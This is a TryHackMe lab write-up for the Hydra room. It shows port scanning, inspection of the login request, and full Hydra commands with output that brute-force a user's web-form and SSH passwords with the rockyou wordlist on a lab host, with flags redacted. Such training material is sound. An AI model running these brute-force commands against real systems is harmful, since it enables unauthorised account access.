CHALLENGE INFORMATION

Platform: TryHackMe
Path: CompTIA PenTest+
Room: Hydra
Description: Learn about and use Hydra, a fast network logon cracker, to brute-force and obtain a website’s credentials.

Hydra Introduction

Before proceeding, review the introduction to Hydra and familiarize yourself with the protocols it supports.

Question 1: Read the above and have Hydra at the ready.

No answer needed

Using Hydra

Ensure that you have deployed the machine in the room before attempting to solve the questions.

Let us examine the commands discussed in the room.

hydra -l <username> -P <full-path-to-pass> 10.10.10.247 -t 4 ssh
Listing 1 - Targeting the SSH service with Hydra

and

hydra -l <username> -P <wordlist> 10.10.10.247 http-post-form "/:username=^USER^&password=^PASS^:F=incorrect" -V
Listing 2 - Targeting HTTP login with Hydra

Here is a breakdown of these commands:

COMMAND     DESCRIPTION
hydra       - a very fast network logon cracker that supports many different services

OPTIONS     DESCRIPTION
-l / -L     - specify a single login name (-l) or load multiple logins from a file (-L)
-p / -P     - try a single password (-p) or load multiple passwords from a file (-P)
-v / -V     - verbose mode; -V shows the login and password combination for each attempt
-t          - run TASKS number of connections in parallel (default: 16)
<target> (10.10.10.247) - the target to attack: an IPv4 address, IPv6 address, or DNS name
<service> (ssh)         - the service to attack; see Hydra's list of available protocols
http-post-form          - the module to use for the attack
"/:username=^USER^&password=^PASS^:F=incorrect" - optional service parameters
Listing 3 - Hydra command and options breakdown

To view the optional service parameters for any service – in this case, the http-post-form module – run the following command:

hydra -U http-post-form
Listing 4 - Getting more information about the http-post-form module

Here is an abbreviated terminal interaction:

user@kali:~$ hydra -U http-post-form
...
Help for module http-post-form:
============================================================================
Module http-post-form requires the page and the parameters for the web form.
...
By default this module is configured to follow a maximum of 5 redirections in
a row. It always gathers a new cookie from the same URL without variables.
The parameters take three ":" separated values, plus optional values.
(Note: if you need a colon in the option string as a value, escape it with "\:", but do not escape a "\" with "\\".)

Syntax:   <url>:<form parameters>:<condition string>[:<optional>[:<optional>]]
...
user@kali:~$
Listing 5 - Help for Hydra's http-post-form module

With the theory established, we now turn to practice. Let us proceed to the questions.

First Flag

Question 1: Use Hydra to bruteforce molly’s web password. What is flag 1?

<redacted-flag>

First, we verify our connection to the target:

ping -c 3 10.10.192.119
Listing 6 - Connection check

Next, we determine which port the web server is running on. We should never assume it is port 80; we must verify the open ports.

nmap 10.10.192.119
Listing 7 - Default port scan

Complete terminal interaction:

user@kali:~$ ping -c 3 10.10.192.119
...
3 packets transmitted, 3 received, 0% packet loss, time 2035ms
...
user@kali:~$ nmap 10.10.192.119
...
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http
...
user@kali:~$
Listing 8 - Target reconnaissance

The target is up and running, and we have established a live connection. The web server is indeed running on port 80, though it is always prudent to verify.

Let us examine the login page in the browser.

Figure 1: Login page for the web server

Figure 1: Login page for the web server

We check the page’s source code. Though we find nothing of particular interest, this step is worth completing.

Figure 2: HTML source code belonging to the web server's login page

Figure 2: HTML source code belonging to the web server’s login page

Next, we attempt to log in with dummy data:

  • Username: username,
  • Password: password.

Before submitting, we open the developer tools – Ctrl+Shift+I in Firefox – to inspect the request. We navigate to the Network tab and examine the Request Headers.

Figure 3: Firefox Developer Tools

Figure 3: Firefox Developer Tools

Figure 4: Login POST request payload

Figure 4: Login POST request payload

As we can see, the HTTP request method for logging in is POST, and the login page is located at http://10.10.192.119/login.

Our dummy credentials were sent as a request payload in this format: username=username&password=password.

With all the necessary components in hand, we proceed to obtain Molly’s password.

hydra -l molly -P /usr/share/wordlists/rockyou.txt 10.10.192.119 http-post-form "/login:username=^USER^&password=^PASS^:F=incorrect"
Listing 9 - Brute-forcing the HTTP login page

Complete terminal interaction:

user@kali:~$ hydra -l molly -P /usr/share/wordlists/rockyou.txt 10.10.192.119 http-post-form "/login:username=^USER^&password=^PASS^:F=incorrect"
...
[DATA] attacking http-post-form://10.10.192.119:80//login:username=^USER^&password=^PASS^:F=incorrect
[80][http-post-form] host: 10.10.192.119   login: molly   password: *password*
1 of 1 target successfully completed, 1 valid password found
...
user@kali:~$
Listing 10 - Successful HTTP login brute-forcing

We have successfully brute-forced Molly’s password. Let us log in:

Figure 5: Web server login with brute-forced password

Figure 5: Web server login with brute-forced password

We have found the first flag – and a rather nice picture.

Figure 6: Redacted flag after successful login

Figure 6: Redacted flag after successful login

Second Flag

Question 2: Use Hydra to bruteforce molly’s SSH password. What is flag 2?

<redacted-flag>

To obtain the second flag, we use the same approach, this time targeting SSH.

hydra -l molly -P /usr/share/wordlists/rockyou.txt 10.10.192.119 ssh -v
Listing 11 - Brute-forcing passwords for the SSH service

Complete terminal interaction:

user@kali:~$ hydra -l molly -P /usr/share/wordlists/rockyou.txt 10.10.192.119 ssh -v
...
[DATA] attacking ssh://10.10.192.119:22/
...
[22][ssh] host: 10.10.192.119   login: molly   password: *password*
...
1 of 1 target successfully completed, 1 valid password found
...
user@kali:~$
Listing 12 - Successful brute-forcing for SSH

We log in via SSH:

Listing 13 - SSH login

Then we check the working directory for the flag:

ls -hlag
Listing 14 - Target enumeration

Finally, we retrieve the second flag:

cat flag2.txt
Listing 15 - Displaying the redacted flag

Complete terminal interaction:

user@kali:~$ ssh [email protected]
...
[email protected]'s password: 
Welcome to Ubuntu ...
...
molly@ip-10-10-192-119:~$ ls -alg
...
-rw-rw-r-- 1 molly   38 ... flag2.txt
...
molly@ip-10-10-192-119:~$ cat flag2.txt 
THM{<redacted-flag>}
molly@ip-10-10-192-119:~$
Listing 16 - Complete terminal interaction for getting the flag via SSH

We have now obtained both flags and successfully completed this room. Be sure to terminate the target machine before proceeding to the next room.